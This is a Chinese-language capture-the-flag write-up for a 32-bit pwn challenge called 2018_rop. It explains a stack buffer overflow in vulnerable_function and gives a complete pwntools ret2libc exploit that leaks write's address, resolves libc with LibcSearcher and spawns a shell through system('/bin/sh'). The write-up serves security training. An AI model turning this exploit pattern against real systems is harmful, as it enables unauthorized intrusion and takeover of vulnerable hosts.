铁人三项(第五赛区)_2018_rop
查看保护机制,开了NX,32位

IDA打开,shift+F12查找字符串,没有发现/bin/sh

再查看main函数中,东西不多,挨个查看里面的函数,发现vulnerable_function();函数里面有蹊跷

这里发现漏洞,read的buf长度为0x100,而写入的参数大小是0x88,能溢出0x78个长度,足够构造rop攻击

利用思路:
先通过write函数地址泄露出libc版本,然后再在libc版本里算出system函数和/bin/sh的地址,最后通过栈溢出覆盖返回地址填上system(‘/bin/sh’),夺权。
exp
from pwn import *
from LibcSearcher import *
r=remote('node3.buuoj.cn',28086)
elf=ELF('./2018_rop')
write_plt=elf.plt['write']
write_got=elf.got['write']
main=elf.sym['main']
payload=b'a'*(0x88+4)+p32(write_plt)+p32(main)+p32(0)+p32(write_got)+p32(4)
r.sendline(payload)
write_addr=u32(r.recv(4))
libc=LibcSearcher('write',write_addr)
offset=write_addr-libc.dump('write')
system_addr=offset+libc.dump('system')
bin_sh=offset+libc.dump('str_bin_sh')
payload=b'a'*(0x88+4)+p32(system_addr)+p32(0)+p32(bin_sh)
r.sendline(payload)
r.interactive()
脚本一跑,cat flag就得到flag了
